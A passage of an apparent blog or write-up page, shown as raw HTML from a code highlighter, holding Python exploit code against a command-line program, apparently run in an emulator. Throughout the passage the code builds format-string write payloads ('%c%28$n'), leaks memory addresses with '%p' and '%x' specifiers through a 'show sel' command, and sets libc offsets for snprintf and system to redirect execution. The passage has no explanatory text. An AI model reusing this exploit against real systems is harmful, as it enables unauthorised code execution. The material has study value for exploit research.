class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">cc_c_payload<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">222<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-21\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">else<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-22\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">cc_c_payload<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">34<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-23\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">dd<\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">34<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-24\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">dd_c_payload<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">dd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">222<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-25\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">else<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-26\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">dd_c_payload<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">dd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">34<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-27\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">aa_payload<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;%&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">str<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">aa_c_payload<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;c%28$n&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-28\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">bb_payload<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;%&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">str<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">bb_c_payload<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;c%28$n&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-29\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">cc_payload<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;%&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">str<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">cc_c_payload<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;c%28$n&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-30\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">dd_payload<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;%&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">str<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">dd_c_payload<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;c%28$n&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-31\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">aap<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">basepayload<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">9<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">aa_payload<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">basepayload<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-e\">len<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">aa_payload<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">9<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-32\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">bbp<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">basepayload<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">9<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">bb_payload<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">basepayload<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-e\">len<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">bb_payload<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">9<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-33\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">ccp<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">basepayload<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">9<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cc_payload<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">basepayload<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-e\">len<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">cc_payload<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">9<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-34\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">ddp<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">basepayload<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">9<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">dd_payload<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">basepayload<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-e\">len<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">dd_payload<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">9<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-35\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">aap<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">bbp<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">ccp<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">ddp<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-36\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-37\"><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">clearlog<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-38\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">fo<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">open<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;output\/log&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-s\">&#8220;w&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-39\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">fo<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">truncate<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-40\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">fo<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">close<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-41\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-42\"><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">readlog<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-43\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">logread<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">line<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">strip<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;n\u0000x00&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">for<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">line <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">open<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;output\/log&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-44\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">logread<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-45\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-46\"><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">sendcommand<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">cmd<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-47\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">f<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">open<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;fifo1&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;a+&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-48\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">f<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">write<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">cmd<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-s\">&#8220;n&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-49\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">f<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">close<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-50\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-51\"><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">dump<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">adr<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">frmt<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8216;p&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-52\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">clearlog<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-53\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">leak_part<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;show sel %28${}&#8221;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">format<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">frmt<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-54\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">raw_addr<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">pack<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;I&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">adr<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-55\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;x20&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">raw_addr<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-56\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;space!&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-57\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">out<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">leak_part<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;AAAAAAA&#8221;<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-e\">raw_addr<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-58\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">sendcommand<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">out<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-59\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">time<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">sleep<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-60\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">e<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">readlog<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-61\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">outbin<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">e<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">split<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;AAAAAAA&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">split<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;: &#8220;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-62\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">clearlog<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-63\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">outbin<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-s\">&#8220;x00&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-64\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-65\"><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">starting_point<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-66\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">clearlog<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-67\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">out<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;show sel %147$x&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-68\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">sendcommand<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">out<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-69\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">time<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">sleep<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-70\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">e<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">readlog<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-71\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">outbin<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">e<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">split<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;AAAAAAA&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">split<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;:&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-72\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">clearlog<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-73\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">outbin<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-74\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-75\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-76\"><span class=\"crayon-v\">clidcos_step<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x1DB0C<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-77\"><span class=\"crayon-v\">libc_emulator_snprintf<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x0004b210<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-78\"><span class=\"crayon-v\">libc_emulator_system<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x0003af60<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-79\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-80\"><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;Going through some menus please wait a moment..&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-81\"><span class=\"crayon-e\">sendcommand<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;c&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-82\"><span class=\"crayon-v\">time<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">sleep<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-83\"><span class=\"crayon-e\">sendcommand<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;show version&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-84\"><span class=\"crayon-v\">time<\/span><span 